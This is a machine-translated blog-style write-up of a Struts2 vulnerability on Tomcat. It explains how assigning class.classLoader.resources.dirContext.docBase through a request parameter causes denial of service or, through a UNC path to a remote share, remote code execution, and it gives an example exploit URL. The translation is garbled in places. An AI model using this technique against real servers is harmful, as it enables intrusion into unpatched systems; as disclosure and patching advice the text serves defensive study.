Struts2 Tomcat class.classLoader.resources.dirContext.doc Base assignment causes DoS and remote code execution and exploitation!

0x00 background

Recently everyone is playing Struts2 class. classLoader. official two vulnerabilities in the S-20, a commons-fileupload caused by DoS, this is to make the cpu slower, do not install the patch that does not matter. the other one is class. classLoader allows assignment of objects.

Seeing that everyone is always seeking to use Tomcat 8, I think it is very bad (the user's application is not so fast to change Tomcat), and the version limit is a weakness. suddenly, copeon was shocked, and a version-free use was released, so that everyone could be refreshed!

Directly add a value to the docbase64-encoded directory of the Tomcat instance. class.classloader.resources.dircontext.doc Base = x

The docBase parameter is used by Tomcat to configure the application directory ing path. What happens if the assigned address does not exist?

0x01 details exploitation 1: DoS (Application ing path does not exist, resulting in application 404)

:

Assign a nonexistent address to the current application directory:

Class.classLoader.resources.dirContext.doc Base = the path does not exist.

Figure:

In this way, no matter which address is accessed, the current application will be 404 (because the mapped directory does not exist), resulting in DoS effect!

Exploitation 2: Remote Code Execution

This parameter can point to any address. If the address ing directory is a controllable directory, remote code execution is performed.

DocBase parameters can be deployed in three address paths:

1. Relative Path: Use Tomcat's webapps directory as a directory 2. absolute path: for example, c: // web/deployed application directory

However, there is also an address configuration method that is not commonly used, that is, UNC path (tomcat supports remote network paths ):

3. UNC path (for example, Remote sharing of a standard J2EE application directory)

Here for details: http://wiki.apache.org/tomcat/FAQ/Windows#Q6

Here, other Intranet hosts share a standard J2EE application directory ,:

 

Local access sharing:

//192.168.x.x/test 

http://127.0.0.1/s/example/HelloWorld.action?class.classLoader.resources.dirContext.docBase=//192.168.x.x/test 

The application's ing directory is the Shared Server Directory,

Note that the web container is the current server, but the Running code is the test directory of the Shared Server, and the java code is compiled and run on the current server (do not confuse it here !!!)

The content of test. jsp is: Execute the code to call the system calculator command

If you deploy a shared directory on the Internet (without any permission restrictions), the code is executed remotely.

Of course, deploying a shared directory on the Internet also has network restrictions. The operator may have restricted the sharing protocol and whether the operating system of the attacked server supports UNC path. Here is just the idea. This is mainly for sharing!

// The user must install patches without any fantasies!